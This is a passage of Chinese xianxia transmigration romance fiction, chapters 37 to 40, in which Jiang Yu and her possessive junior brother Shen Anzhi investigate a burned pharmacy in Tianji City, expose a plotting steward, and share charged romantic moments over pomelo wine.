关于沈安之异于常人的体质,她不知道该如何和沈安之坦白解释她已知晓。若他起疑,她总不能解释为穿书这种荒谬的言论。 适时,顾疏雨传讯喊上两人一同前往天乩城。 两人跟在顾疏雨身后,踏着天乩城满目疮痍的焦土。 昔日天乩城早已被各大仙门割据,弟子们行色匆匆,或驱逐着零星妖物,或修补着残破不堪的护城大阵。 断壁残垣,烟熏火燎的痕迹爬满目之所及的每一寸,往日辉煌被前日大火吞噬得只剩废墟。 沈安之的脚步最终停在了熟悉的药庐前,烧的只剩下半个院子。 推开虚掩的门,只见几只纸扎人残骸散落支离散落,褪色的惨白纸片与烧得焦黑的竹骨纠缠在一起。又在穿堂而过的冷风中微微颤动着,透出一股说不出的诡异与凄凉。 “我早前探过李沐亭的口风,这药庐原是诸葛家遗落的一处旧业。若真想用那些纸扎人悄无声息地给百姓下毒,岂非神鬼难察?偏偏……” 姜喻收回目光,看向身旁静立的沈安之,心有猜想,小声道:“他选了的法子,生怕旁人不知似的。” 沈安之并未立刻接话,眸光更深沉了几分。 “那师姐说说看,”沈安之抱臂侧眸,声音低沉,带着一种近乎蛊惑的凉意,轻轻敲在人心尖上,“如今这事,可算是‘人尽皆知’了?” 姜喻视线迎上他那双洞察人心的丹凤眸,重重点头道:“当然算了。” 沈安之满意地收回目光,指间把玩着铜钱,漫不经心地翻转着。 “诸葛瑾所求,答案早在此处。”指尖倏然收拢,将铜钱紧紧攥入掌心,声音陡然转冷,带着一丝病态的讥诮。 “当年他人微言轻,任他声嘶力竭,又有谁屑于一顾?如今这一场‘锣鼓喧天’,闹得沸反盈天,天下侧目……呵,他要的,不就是这‘人尽皆知’四个字么?” 第37章 诸葛瑾所求,远非一场屠戮,他要的是那尘封的‘真相大白’。 姜喻顺着他的目光望去,视线落在那片狼藉的药庐上。心口像是被什么钝器硌了一下,不由得垂下眼。 药庐满地狼藉,似是那点未曾彻底湮灭的善意残骸,无声地控诉着。 姜喻轻轻叹了口气,唏嘘道:“这代价……终究太大了。” 人,既做不到彻头彻尾的恶,更修不成无瑕无垢的善,偏偏卡在不上不下的泥泞里。 “达到目的,手段而已……”沈安之向外迈出一步,语声低徊。 见她尚未回神,他倏然停步侧身回眸,俯身迫近,阴影强势地将她笼罩,气息若有似无地拂过她额前碎发。 姜喻出神地往前走,一头撞在他身上,呼吸一紧。 沈安之声音低缓,却带着玩味的尾音:“师姐答应师弟的草药之事,才是现在最重要,不知师姐如今炼药之术如何?” “没、没忘!”姜喻被他骤然逼近的气息和那双幽深的眸子看得心尖一跳,连忙应声,下意识后退了小半步,“早派人去风云城打探了。” 离开鹤门宗前确实托了人传讯,只是……剩下两株据原著来说,长在仙山的凶险秘境里,怕是免不了要亲自跑一趟。 沈安之突然问起炼丹,像刺扎了她一下。时至今日,她所谓的“炼药之术”,还停留在对着图谱死记硬背阶段。 “我试试吧……” 看姜喻乖乖应答却眼神闪躲了一瞬,沈安之哼笑一声。垂眸看向她,终究没忍住抬手拨动她蝴蝶发簪的薄翼,压低嗓音:“师姐,是心虚了?” 姜喻面上不显,心里有些没有底气,“没有呀,师姐我许久不碰炼丹,总得重新捡起来练练。”垂下长睫,掩盖心虚地挠了挠燥热的脸颊,忍不住退后一步。 沈安之果真是观察入微,这都看出来了。 见她小幅度动作,沈安之眸底骤然晦暗下去,他放了手拢在身后虚握,下意识用力摩挲着指尖的余感,心底的燥郁密密麻麻出现一次又一次。 姜喻茫然见沈安之微微皱眉,他靠近一步,她退后一步未成,沈安之的手已如铁钳般迅疾探出,扣住了她纤细的腕骨。力道带着不容挣脱的强势,指尖的温度透过薄薄的衣料灼烫着她,迫使她定在原地。 沈安之,这是怎么了,表情看起来欲言又止。 “师姐,”沈安之嗓音低沉,带着一丝不易察觉的喑哑,目光如幽潭般锁紧她,“为何退后?” “啊?”姜喻纤细睫毛轻轻颤动,抬眸显然愣了一下。 凝视着这张近在咫尺的她,毫无防备的模样,知不知道自己在任由一个‘危险’的人步步接近。 沈安之喉结微动,一种从未有过的、混杂着焦灼与占有欲的悸动在胸腔深处猛烈地冲撞,灼烧着他的理智。 “师弟,我没有故意。”姜喻浅笑着解释,抬眸观察他的神情变化,那双丹凤眸像漩涡吸引着她。 见她这般模样,沈安之竟有种有口难言的困惑,他更不清楚这份悸动算什么。指尖下意识地在她腕骨上微微收力,见她轻皱眉头,又似被烫到般放松了些许。 “师姐不喜我接近吗?”沈安之语气带着闷哼,露出略带病态地温良笑意,看起来略显古怪。 尾指不由分说地勾缠起姜喻垂落的一缕乌发,一圈又一圈慢条斯理地绕在尾指,仿佛在把玩什么珍宝。 眸光紧紧锁定她,她神情细微的每一次变化,他都看得清清楚楚才行。 “没、没有。”姜喻摇头。 沈安之居然会因为她退后的动作生气了…… 姜喻饶有兴味地看向他,心头那点新奇压过了别的念头。 真是稀罕,生气这词儿落在沈安之身上,从前可是与她半点不沾边的。而且她还发现,沈安之如今喜欢上轻抚她的发。 姜喻唇角噙着藏不住的笑意,向前逼近一步,那双亮晶晶的眸子映着微光,眨动间带着明晃晃的坦率,“师弟若是喜欢,”声音轻快,让沈安之在意地垂眸玩味地弯唇。 “我便一直站在这儿,不退。”声音不大,足够坚定,直戳他心。 指间缠绕的动作凝滞,沈安之垂落的眼睫在眼下投出一小片阴翳,他目光如寒潭深处而来,紧紧锁住姜喻笑意盈盈的面容,声音低得几乎要融进风里,却带着一种姜喻从未听过的认真:“……师姐,当真?” “当真啊……”姜喻笑着眨眨眼,一副怕他没听清的娇俏模样,踮起脚尖拉上他玄色衣襟,凑在他耳畔大声道,“当真,师弟。” 沈安之薄唇紧抿,陌生的情潮来得汹涌又混乱,如藤蔓缠绕心尖,勒得他呼吸微滞。 他垂眸看清尽在咫尺的白皙脖颈,生出一种难抑的渴望,咬上去一口,姜喻会怎么样。 忽地歪头,唇边绽开一抹轻慢又惑人的笑,又怕惊着她似的,沈安之只微微俯身,温热的吐息却如羽毛般搔刮着姜喻敏感的耳廓,她强忍着后退的动作好奇抬眸。 “师姐若下次靠得 这般近……”他修长的指尖若有似无地拂过她耳垂,留下细微的战栗,“我可就不保证,会不会‘轻轻’地咬上一口了。” 姜喻表情呆滞一瞬,一股酥麻从耳尖瞬间窜遍全身,整个人僵在原地。脑中嗡嗡作响,只反复回荡着那句“咬上一口”。 她没听错吧,沈安之说要咬她一口? 猛地抬头,撞进他幽深含笑的眸子里。 “师弟,这玩笑可不好笑,人肉不好吃……”姜喻顿时哭笑不得,还不忘揶揄一下缓和下逐渐跑偏的话题。 沈安之见姜喻似是不信,忽的俯身欺身逼近,阳光在他侧脸投下晦暗的影,闻到她周身的馨香。 他唇畔刚轻触肌肤,齿尖便轻咬上姜喻脸颊那点软肉,灼热的吐息烫得她禁不住战栗。 姜喻睫毛乱颤,清晰地感知到带惩罚的滚烫咬,呼吸正一寸寸烙在她逐渐泛红的皮肤上。 她只觉得周遭流动的微风都凝滞了。 “沈安之,你在干嘛!”姜喻惊讶地连名带姓得喊他。 沈安之这才慢悠悠地直起身。逆着光,身形越发颀长,垂落的眼睫在眼下投出一小片阴影,遮住了眸底翻涌的、近乎贪婪的餍足。 唇下那转瞬即逝的触感,温软得不可思议,有些意犹未尽地垂眸,脸颊软肉触感比他想象的还要好。指尖无意识地捻了捻,仿佛还在回味。 “自然……”他唇角勾起一抹看似恶劣却着实愉悦的笑意,“师弟咬了师姐一口,师姐没有感觉出吗?” 沈安之故意微微偏头,语气无辜又带着蛊惑人心的笑,“这般软……要不要再试一次?这次,保证让师姐刻骨铭心。” 温热的吐息仿佛还残留在颊边,姜喻只觉得一股热气“轰”地冲上头顶,以往莹白耳尖都红透了,她一字一顿道:“不、用、了!” 沈安之真是越发喜怒无常,行事乖张得令人发指! 姜喻看清四周无人,脚下一跺,大步转身去追赶顾疏雨。 “呵……”一声极轻的喟叹逸出,消散在空气里。 见她真是生气离去,沈安之慢慢收敛笑意,尾指轻轻划过唇瓣,仿佛残留着馨香的余温。 师姐,真的很软。 他又没有说错,她怎么还生气了。 沈安之轻捻起一颗栗子糖含着舌下,迈步便轻轻松松跟上了她。抱臂侧眸,余光落在她红透的耳朵。 含在舌苔下的栗子糖很甜,却比以往的任何一颗都要甜上一度。 “师姐,走这么快做什么。”沈安之抱臂漫不经心地问,眸光却不着痕迹地看向她。 姜喻羞恼地瞪了沈安之一眼,手背蹭了蹭脸颊烫意褪去的余温,见他还有心思揶揄自己,气呼呼道:“谁还没有个师姐,我要去找顾师姐去。” 像只炸了毛气呼呼的小红雀,又像染了绯红的小水蜜桃。 沈安之轻舔了舔唇瓣上的糖渍,故意放缓语气:“哦?找顾师姐能做什么。” 姜喻轻摸了摸脸颊还未散去的咬痕,说沈安之偷袭咬了自己一口,顾疏雨只怕得用见了鬼,不敢置信地目光看他们两个。 她刻意地拔高音量:“我乐意。”话音未落,人便加快步伐小跑着追了上去。 顾疏雨正与几名弟子围拢一处,缚妖索的金光缠绕中,一只瑟瑟发抖的鼠妖已然伏诛。 真跑去告状?她才不干,又不是三岁稚童了。 姜喻可不好意思真给顾疏雨告状。 顾疏雨远远瞧见两人一前一后跟来,目光在两人身上轻轻一扫,敏锐地捕捉到一丝说不清道不明的古怪气氛——这在她二人之间已是常事。 待姜喻走近,顾疏雨视线落在她微红的左颊上,印痕在白皙的肌肤上格外显眼,不由得蹙眉:“去哪耽搁了?师妹,你这脸……” 姜喻抿了抿唇,转移话题道:“咳,没什么,叫只不长眼的毒蚊子给叮了一口,秋后的蚊子最是刁钻。” “深秋还有蚊虫?”顾疏雨清丽面容显然不信,目光在她颊边流连,“看着这般重……这蚊子,怕不是成了精。” “是啊是啊。”姜喻煞有其事地重重一点头。 沈安之闻言低笑出声,指尖夹着的铜钱随着他抱臂的动作,轻轻磕在臂上。眼尾朱砂痣随着笑意舒展,红的妖冶又魅惑。 她这是把他比做成毒蚊子? “我倒觉得……师姐这处颜色,瞧着淡了些。”他顿了顿,尾音拖得绵长,带着点漫不经心的笑,“若叫那‘毒蚊子’再尽心些,想必……能留得长久些。” 第38章 姜喻眼波一横,脸颊热意稍褪,带着嗔意瞪向沈安之,转念一想竟有几分错觉。 方才他眼底的幽深笑意,究竟是惯常的戏谑捉弄,还是当真有……一些真情? 仅仅念头一起,竟让姜喻无端生出几分恍惚,指尖无意识地蜷紧袖口,小声嘟囔道:“我才不要。” 沈安之瞧着她哼笑一声,捻着颗栗子糖丢含在嘴里。 顾疏雨的视线在两人间一转,刻意忽略了微妙气氛,“既然都来了,便一同去寻落单作祟的妖物,驱逐了事。” 姜喻心中微动,目光不由自主地落在颀长的玄色身影上。少年指节用力得泛白,反手紧握着铜钱剑,剑身低垂,敛尽锋芒,却像一头无声蛰伏的凶兽。 沈安之无声地提步,跟在了顾疏雨身后两步,没听到她的脚步停步回眸,“师姐,跟上。” 姜喻微微颔首,小步跟在顾疏雨一侧,视线扫了一圈其他弟子,人群不见个熟悉的人影,佯装不经意地开口:“师姐,怎么不见方师兄呀。” 男主去哪了? 顾疏雨清丽绝美的面容没有丝毫表情变化,“蓬莱阁在城北划分的区域有事,我叫他去支援了。” 姜喻暗自吃惊,方微云如今时时刻刻跟在顾疏雨身边,恨不得化作顾疏雨裙边一缕风、寸步不离的黏糊劲儿,顾疏雨竟真能一句话就将他支开…… 姜喻心底顿生微妙的异样感,想笑一声又觉得不合时宜。 暗处一双视线目不转睛地盯着她。 他们一行人在屋舍间搜寻妖物痕迹,忽见一道赤影自青灰瓦檐间窜出。三尾妖狐裹着疾风俯冲而下,利爪如钩直扑沈安之面门,嘴里一直念叨着:“你怎么个大男人却香甜得和糖丸似的。” 姜喻惊得身体已想也不想挡过去,沈安之唇角闪过一丝极淡的弧度,袖底寒芒微现消散,眸光黏在姜喻绷紧的后颈上。 她手中一叠炽阳符,指尖一捻,炽阳符化作流火脱手,风过直钉入狐妖眉心。 它惊嘶欲遁已迟,符咒轰然炸开,赤焰灼得护体妖力溃散大半。它踉跄摇晃,颅骨欲裂的剧痛激出最后凶性,利爪刚撕开炎幕,姜喻同时从袖口抽出符纸,数道寒刃已至。 剑光交错间,狐妖终是血溅青苔。 尘埃混着焦灼气息弥散,姜喻却嗅到一缕若有似无的香甜味,她错愕地侧眸看去身侧不知何时并肩的少年。 沈安之指尖一滴血溅落在地,玄色衣袖遮掩不住微颤的手。 一旁顾疏雨眼见沈安之状况不对劲,提步上前,心有隐隐存疑。 为何狐妖说沈安之“香”? 顾疏雨走近几步,清丽容颜关心中带着一丝探究:“师弟,无碍吗?” 沈安之眸光流转,看向姜喻,除了脸颊略显苍白让人看不出其他表情,活动着腕骨自顾自拢手背在身后,“无碍。” 姜喻熟稔地上前遮掩住地上血渍,顾疏雨扫了一眼她。 古怪的气息一闪而过,暗处畏畏缩缩的人转身欲走,姗姗赶来的方微云飞闪而出的折扇打在他后背,提着一人后衣领丟在众人眼前,大步迈出温润轻笑,走到顾疏雨身旁,看清她率先垂眸轻笑:“我来迟了。” “嗯。”顾疏雨抬眸应答。 众人 定睛一看瞧,地上赫然是城主李霆的管家李程。 眼见事情败露,李程爬起来快跑,秋光剑破空横亘在他脖颈,他吓得哆嗦转身。 顾疏雨神色严肃,召剑逼近他脖颈一些:“伤我师弟师妹,意欲何为?” 李程吓得跪地求饶,心虚地指着沈安之压下眼底杀意,怒气冲冲地大喊:“我、我看不惯他。” 沈安之墨眸如渊,指尖摩挲着铜钱,目光如淬了寒冰的刀刃,一寸寸刮过他周身,讥诮道:“看不惯我的多你一个又何妨。只是……”他冷笑一声,“勾结妖物,你一介灵力全无的凡人,如何驱使?” 几名弟子上前利落地从他身上搜出一封书信。 李程瞳孔骤缩,惊骇欲绝,猛地挣扎起来,竟在混乱中暴起夺回那信,死死攥在手心,指节因用力而惨白,心底的寒意瞬间爬遍四肢百骸。 “不对,不对!信件我都烧完了才对!烧完了!” 沈安之眉梢微不可察地一挑,指尖虚空随意一抬,那挣扎的身影便如被冻住般僵在原地。 他缓步上前,姿态轻巧,轻易便掰开那僵硬的手指,将信笺抽出,转身将封书信漫不经心地递到了姜喻面前。 姜喻下意识伸手接住,目光匆匆扫过字迹,心头猛地一沉,“按信中所说,与名带‘亭’者共谋诛李霆……李沐亭与你计划?” 姜喻暗自吃惊,不经想起那日玄武寒霜阵眼中,李程情急之下乱了方寸,只顾着催促李霆脱困的画面,急不可耐地要使李霆走出玄武寒霜阵。 好一个缜密的环环相扣…… 一人劝去死,一人偷阵石,一人善后。 谁再说原著小说人物降智,她跟谁急呀。 李程眼神躲闪,到底不是个心思多强大的人。 可更让他惊骇的是,书信早被他销毁殆尽,如今却凭空在他衣襟被发现。不经心虚地怒吼道:“你这姑娘瞎说!我就是看不惯他而已。” “你连他名字都不知道,你恨他什么……还是说,有人要你这么做。” 姜喻微微眯眼,探究地看着他,佯装不经意提到:“莫非是,面具人?” 他同样和诸葛瑾都能驱使妖物…… 李程听到她的话下意识浑身颤抖,忙不迭摇头否认,“没、没有!绝对不是!”转头似是想到什么,指着她掌心书信目眦欲裂,“这个信!是他!绝对是他放的!” 方微云闲闲拨弄着折扇玉骨,扇尾忽地一停,不轻不重抵在自己下颌,端的是温雅从容的做派:“依我见,且先将人带下去罢。”他眸光掠过地上那抖如筛糠的身影。 顾疏雨微微颔首,“如此也好。”她目光流转,落在姜喻二人身上时,惯常的清冷里便悄然渗入一丝不易察觉的柔和,声音也低缓了几分,“此间尚算安稳,你二人且在此处安心调息,莫要妄动。待暮鼓三通之前,我们自当归来。” “好的,师姐。”姜喻应答完,飞速瞥看向沈安之。他苍白面颊,看她时微歪头弯唇,左耳坠下的玄红流苏随着动作轻晃,自带少年的邪气与不羁。 顾疏雨一行人远离消失在她视野,姜喻回眸视线上下一扫沈安之,忙不迭问:“师弟,你伤哪了。” 怕他是胸口伤痕裂开,姜喻不待他回答,凑近闻了闻没有血味。抬眸再一看,沈安之笑得肆意,竖起指尖,明晃晃地破了一道小口子。 沈安之含笑着压下声音,眼尾朱砂痣似有灼热,“师姐,还不是不懂关心则乱。” “你这伤口,再不处理就要愈合了。”姜喻一边调侃,一边想到一件被她直接忽视的事情。 刚刚他们距离不算远,顾疏雨未怀疑沈安之古怪的香甜味道吗? 见她又想的出神,沈安之看着几乎愈合的伤口,忆起她刚刚不也同样关注方微云,抱臂侧眸目光从她发顶看向他处,心底不悦稍纵即逝,余留在胸口发闷又燥郁。 不知从何时起,这份异样感竟越发频繁地侵扰心神。 沈安之垂眸看向她发顶,眼底的墨色沉得化不开,低声道:“师姐似乎很关心方微云?” 除了宁贺辞,又会有一个接一个的人出现,她便把关注分他们一分。 沈安之不喜。不喜无法掌握的情绪,不喜他无法掌握的发展…… 可面对她,他总是屡次尝到了快要失控的滋味。 姜喻答得飞速,“方师兄帮了我们不少忙,我关心一点……”见沈安之依旧沉着脸,放缓语气温声道,“自然,仅限在方师兄屡次帮扶的道友情谊上。” 沈安之轻轻俯身,呼吸几乎擦过姜喻鬓边发丝,嗓音微哑,带着不易察觉的执拗:“师姐……我自然信你不会骗我。” “师弟信我就好。”姜喻含笑着,她果然猜对了。 沈安之并未就此站直身形,反而抬手指腹顺着她发间垂落的发丝缓缓滑下,最终捻着柔软的乌黑发尾在指腹间轻揉。 “师姐的发丝真是好,又软又韧,让人忍不住想看看缠绕在指间,究竟能有多有趣。师姐,你觉得了?”他略带语气挟着微不可察地试探。 演都不演了。 姜喻忍不住身形微颤,思绪像被猫玩乱的线团,左支右绌,只觉得那捻着发尾的指尖仿佛带着电流,一路酥麻地窜到心底,又被对方眼底那毫不掩饰的探究与兴味激得警铃微作,“师弟喜欢就随意,但可千万别给我拔了。” 她补充一句,“可不能秃了。” 见她似乎没意识到他口中试探,她这般的,原就照不进他这方泥沼深渊。明媚鲜活的存在,生来就该与他隔开云泥天堑。 沈安之呼吸都急促的一乱,欺近半步,气息带着无形的压迫,“师姐,不要再关注其他人了。” 姜喻跟不上沈安之的思绪,怔愣地抬眸,眨了眨眼,“为什么这般说?” 沈安之垂头忽的一笑,嗓音却低了几度,“玩笑而已,”语气顿了顿,直直望进她眼底澈亮的眼底,漾着奇异的光,“师姐,可别当了真。” 移步向外,掠过她时指尖夹着温热的铜钱若有似无擦过她腕骨,低沉的嗓音裹着不容错辨的执着:“明日启程离开天乩城,师姐……该继续兑现承诺。” 他语气低沉,似是提醒她……也在提醒自己。 第39章 姜喻提起裙裾跟上前去,察觉出他神情不对,捕捉到他眼底的阴霾,沉郁不同于往日的慵懒疏离,倒像是压着什么沉沉的心事。 “师弟……” 听到姜喻轻唤,沈安之步伐微顿,抱臂侧眸,“师姐可还有话说?” 唇瓣微启,舌尖却似打了结,千头万绪堵在喉间,竟寻不到一句开场白。 索性放弃言语,姜喻探入腰间储物袋取出一粒栗子糖塞进他手心,柔软的指腹无意识蹭过他掌心。 微痒的触感像投入死水的小石子,激得他手指猛地一蜷,下意识收拢。像抓不住那一只娇俏的小红雀,只徒留那粒微硬的糖丸硌着掌心,连同她指尖转瞬即逝的、一点暖融融的余温。 “师弟,吃一颗你最喜欢的栗子糖。”姜喻抬眸看向他神情变化,“吃点甜的就开心了。” “喜欢么?”沈安之明显微愣一下,捻着这颗栗子糖,小声琢磨这个词,声音放得又轻又缓,像怕惊扰了什么,“栗子糖味道确实不错,却也谈不上最喜欢。”他眸光看向她,长睫压下,隐忍又克制。 栗子糖含在舌苔下,沈安之不在多言往前走去。 漆黑眼瞳倒映着少年玄色清瘦背影,左眼突然地刺疼,疼得姜喻脚步微顿,蜷了一下身形。 奇怪,以前从未疼过。 姜喻暗想,她真的了解沈安之吗? 扪心自问,原著没有提到的东西她不曾深究,更不曾知晓沈安之过去更多细节。以往沈安之提及一两句便缄口不言。 姜喻顿感胸口像堵塞一团棉花,闷地她有些难受。 两人一路同行,沈安之无言,姜喻欲言又止,心里抓挠似的痒。 回去营地。 沈安之眼尾扫来:“师姐且去收整,明日卯时启程。” “晓得了。”姜喻拖长了调子应着,目光被营地中央燃起的橘红篝火勾了去。 火光映入她眼底,一个念头油然而起,她带着点狡黠的雀跃,旋即侧过身,绽出明晃晃的笑靥,眼波流转,直直望向沈安之:“师弟,稍后,我便去寻你。” 沈安之看见姜喻笑靥如花,心中微动,轻轻颔首,转身离开时又禁不住回眸,见她愉快地提裙小跑,唇角不自觉地微扬。 * 苍穹缓落夜色的幕布,天边霞辉逐渐在天线消殆。 直至入夜,众弟子开始围坐在营地篝火旁谈笑风生、插科打诨。 姜喻揣着交换来的两瓶柚子酒,脚步轻快地穿过简陋屋舍间的窄巷。远远地,便听见铜钱剑破风的“嗤嗤”锐响。 她抬眼望去,只见沈安之正在院中练剑。 他身形腾挪如鹤舞,剑光流转似银练。一招一式,不带半分平日的狠戾杀伐,反倒透出一种奇异的柔和流畅,剑锋过处,只撩起微风,卷动他玄色衣摆。 姜喻看得有些怔忡,心底嘀咕:沈安之,今日练的什么功?瞧着倒比砍妖怪时显然赏心悦目几分。 剑势倏然一收,沈安之并未回头,却仿佛早知她缓步行至不远处。 他缓缓侧身,长身玉立,丰神俊朗,长睫低垂时给人一种深情款款地错觉。 沈安之目光看向她,唇角勾起极淡的弧度。眼神幽深,带着一种近乎餍足的审视,将姜喻方才片刻的失神尽收眼底。 姜喻回神来,嗓音轻快,唇角已不自觉扬起,“师弟,试试这柚子酒。” 黑莲花皮相当真是得天独厚的俊逸。 指尖拈起自己那杯,姜喻低头抿了一口。 清冽的酸甜瞬间在舌尖漫开,带着微涩的柚皮香气,滑过喉间时却化作温润的暖意。 她满意地眯了眯眼,小巧的喉头微动,抬眸看向对面的沈安之,将他的那杯盏往他面前推了推:“不错了,师弟快尝尝看。” 沈安之慵懒随性地单手撑头,抿了一小口,“师姐来寻我,只是为了喝酒?” “自然不止……”姜喻刻意地停顿语气,好勾起沈安之好奇心。 见沈安之不上钩,她笑容不改,不紧不慢道:“我看外面篝火不错,坐在一起喝酒岂不快哉。师弟随我,同去坐一坐?” 话音刚落,姜喻不给他半分拒绝的机会,唇角弯起,一手拎着细长的酒绳,另一手已不由分说攥住他温热的腕骨,拉着人就往外走。 沈安之垂眸,视线落在她拽着自己的那只手上,唇角无声地勾了勾。 寻了处僻静的角落,两人盘膝对坐。 月光穿透枝叶缝隙,碎银般洒在两人衣袂间。 姜喻打定主意要撬开这朵黑莲花的嘴。 殷勤地执起小巧的酒壶,琥珀色的柚子酒带着清甜果香,汩汩注入沈安之面前的玉杯,“师弟,可解乏了。” 姜喻笑得像只打着小算盘的小红雀,心里盘算得飞快:一杯,两杯……总该酒后失言吧?到时候她就能顺理成章地多问些关于他的事了。 见他不动,姜喻端起倒好的玉杯递来。 沈安之随意瞥了一眼晶莹酒液,凑近对着她的手喝下去,眼神从玉杯看向她的眸,这般直勾勾地看向她时,极具侵略性。 她心脏不自觉地加快跳动,转眸再看去,沈安之已接过玉杯轻抿了一口,长睫压下,哪有半分刚刚的错觉。 沈安之一杯接一杯的酒液下肚,神情却丝毫未变。 他姿态闲适,修长的手指拈着杯沿,每一次仰头,喉结只是平稳地滚动一下,连眼尾都没能洇着红。 月光落在他侧脸上,映得那双深不见底的眸子愈发幽邃,仿佛在无声地嘲笑着姜喻那点自以为得计的小心思。 姜喻捏着酒壶的手指不自觉地收紧,心底那点笃定随着空掉的酒杯,一点点沉了下去。 计划还没开始就宣告失败了。 她郁闷地多喝了几杯,酒液初入口酸酸甜甜,哪知后劲这么大,几杯下肚顿感天旋地转,想旁敲侧击的问题乱了七七八八。 姜喻懒得在想那些,醉意朦胧间倏然倾身凑近,手臂一软便撑在了沈安之身侧,将他困在一方小小的天地里。 见她似个娇憨醉意的小红雀,澈亮的眼瞳似带着湿润润的水光,沈安之指尖握着玉杯蜷了蜷,喉结几不可察地微微一动。 彼此身上的酒香随呼吸交缠在一起,姜喻笑得眼尾弯弯,执拗地脱口追问:“师弟平日除了栗子糖,可还喜欢别的甜食?” 沈安之垂睫,避开她过分灼亮的视线,“没有了。” “一个都没了?怎么偏偏就喜欢栗子糖。” 本想着沈安之大概不会理会她这醉话,醉眼迷离下,意外撞见他神色微顿。似真的在认真思索她这无关紧要的问题。 沈安之见她这般不依不饶又懵懂的模样,指尖终是轻戳了戳她的眉心,低叹一声。嗓音沙哑,语气惯常的轻慢戏谑,“小时候……饿得发昏时偶然尝过,只觉得甜得发苦。” 那滋味,连同濒死的绝望都刻进他骨头里。 “如今我日日尝着甜……再不苦了。” 沈安之很是不在意说完,仿佛事不关己一般将痛苦随口带过。 一个温软前扑进他怀里。 姜喻就算醉了,神智也尚寸几分。她素来嘴拙,此刻更寻不出熨帖的言语,只觉得心口被他无声的低落攥得发紧。 绵软的手臂带着暖意轻轻环上沈安之劲瘦的腰身,将脸颊贴在他胸口,含混嘟囔着:“都、都过去啦,以后师姐让你吃香喝辣……对了,忘了师弟辟谷了。” 沈安之呼吸一滞,鸦羽般的长睫垂落,绷紧的肩线微微发颤。蓦然弯唇一笑,小心翼翼地回搂着怀中绯红的人影,下颌轻轻蹭在她发顶。 明知姜喻是醉了才会主动抱他,可那又怎么样了…… “师姐,可要一直这样待我。”他说的极其小声,声音最终湮灭在空气里。 姜喻迷迷糊糊颔首,直到感觉被他搂着快要喘不上气了,才在他紧绷的后背上轻拍两下。 铁箍般的手臂终于迟疑着松开寸许力道。缓慢抽离时,指腹拂过她颈侧敏感的肌肤,惹得姜喻轻轻一颤。 篝火将息,残烬散着微暖的光。 待顾疏雨一行人风尘仆仆归来,沈安之早已起身倚柱看去,上前辞行。 “天乩城邪祟已除,师弟在外,务必珍重。”顾疏雨嗓音清泠,闻到他周身酒气挑眉,“师弟喝酒了?” “一点。” 一只莹白玉瓶递出,顾疏雨的压箱底的疗伤圣品,“出门在外,这回春露你带着以防万一。” 沈安之伸手接过,指尖触及微凉的瓶身,勾唇温良一笑:“多谢师姐。” 他抬眸,目光掠过顾疏雨肩头,投向不远处倚着篝火旁的石块醉意打盹的姜喻,语气带着几分刻意的轻快,“不过,此行还需劳烦姜师姐同行。” 顾疏雨执杯正欲饮水,动作骤然凝滞。温水微晃,映着她陡然收紧的指节。 越来越看不懂她这个师弟了。 “你们……此行欲往何处?”顾疏雨放下水杯,杯底轻磕桌面,发出一声脆响。 “一路行至风云城。” “风云城……”顾疏雨低声重复,心底不安松了一丝。 那处确有可靠之人能护姜喻周全。 她重新看向沈安之,眸色恢复沉静,却添了几分锐利,“风云城自有故人可托。师弟,那三鞭之训,望你时刻谨记于心。” 沈安之垂眼,修长的手指在粗糙的木桌边缘轻轻叩击,“是,师姐。”他应声,尾音拖得略长,带着一丝难以捉摸的顺从,又像是无声的嘲弄。 姜喻迷迷糊糊地打盹,醉意地意识昏沉,眼皮重得抬不起,又跌入那方熟悉的梦境。 古亭静立,倒影如昨,她反而淡定了。 第40章 亭中倒影一如既往,姜喻无奈地一笑,不再做打算掀开坠下的白幔。 她拨弄着指尖,抬眸好奇地看向里面的人影,试探道:“你近来……是不是出现是太勤快了些?” 亭中人影未动,手中玉杯抵唇,声音淡得像拂过水面的风:“窥见我愈频,亦昭示你……” “昭示什么?”姜喻好奇地忙不迭追问。 她话音未落,一个压低的、熟悉声音穿透梦境直抵她的耳畔。 “师姐,醒醒……” 同时肩头传来一阵不容忽视的轻晃,姜喻张了张口,她想应答,四肢百骸却像灌满了沉重的铅。 是……醉的魇住了? 姜喻挣扎着往外走,在梦境深处仓促回望这方古亭。 水波微澜,亭中倒影,连同那未尽的低语,已如烟消散…… 姜喻深吸一口气,未及睁开眼她却隐隐能感觉到梦境外周身声音与触感。 一只有力的手臂稳稳穿过她膝弯,另一只揽住腰肢,骤然将她腾空抱起。 她头靠在宽阔的胸膛,脸颊隔着衣料贴上温热的肌理,耳畔清晰传来沉稳的心跳——咚、咚、咚。 竟与她骤然失序的心跳声密密交织在一起,一时分不清彼此。 沈安之打横抱起她,小心翼翼地将人放在床褥间,指尖拂过姜喻散在枕上的青丝时顿了顿。 他俯身扯过锦被,轻缓地盖至她肩头,垂眸凝视着那张毫无防备的睡颜,醉意染的脸颊带着一丝薄红。 烛影在她长睫下投出小片阴影,他俯身靠近,近到她绵长呼吸带着温热馨香和柚子酒的清香拂过他脸颊,带着几近令他生出贪婪的暖意。 沈安之忆起,上次鬼使神差地轻咬上姜喻面颊,唇瓣能清晰感受到肌肤细腻与轻软,他仅是稍稍用力,便留下了两道清晰的牙印红痕。 只是想一想,沈安之心底难挨地腾起一抹雀跃和兴奋。 姜喻睡得很安稳,恰如乖巧小红雀落在掌心。若是再一次,谁会知晓…… 他低笑一声,指尖克制地轻点了点姜喻面颊,瞧着洇着的薄红,“若是再在这里咬上一口,师姐你说,明日清晨会消失还是依旧留有红痕呢?”他似是喃喃自语。 姜喻即能听到又能感知到,心中小人手足无措。 完蛋了完蛋了! 内心崩如溃。 沈安之这是对她咬上瘾了不成?还要咬她一口。 沈安之指腹悬在她颈侧动脉上方寸许:“睡得这般沉……师姐倒不怕被人拆吃入腹。”尾音消失在替她掖紧被角的动作里,余留一声极小的嘲弄叹息。 姜喻差点绷不住呼吸,直到听清脚步声在一步步离去,木门“吱”一声阖上了。 * 沈安之回到房间后,侧躺上床,可翻来覆去,哪怕闭上眼都出现的是姜喻安稳睡颜。 她若是睁开眼,她若是亲耳听见。只怕会后悔,日日将“危险”亲自留在身边,纵容此人一步步接近…… 沈安之猛地翻身下榻,拎起木桶去接刺骨的冷水,衣袍顾不得褪下,整个人径直浸入水中。 冰凉瞬间裹挟全身,他闭目仰头靠在桶沿,喉结滚动,妖冶朱砂痣缀在长睫的阴影下,寒意如细针般刺进滚烫的肌肤。 纠缠理智的燥热,堪堪被冷意压下去一丝。 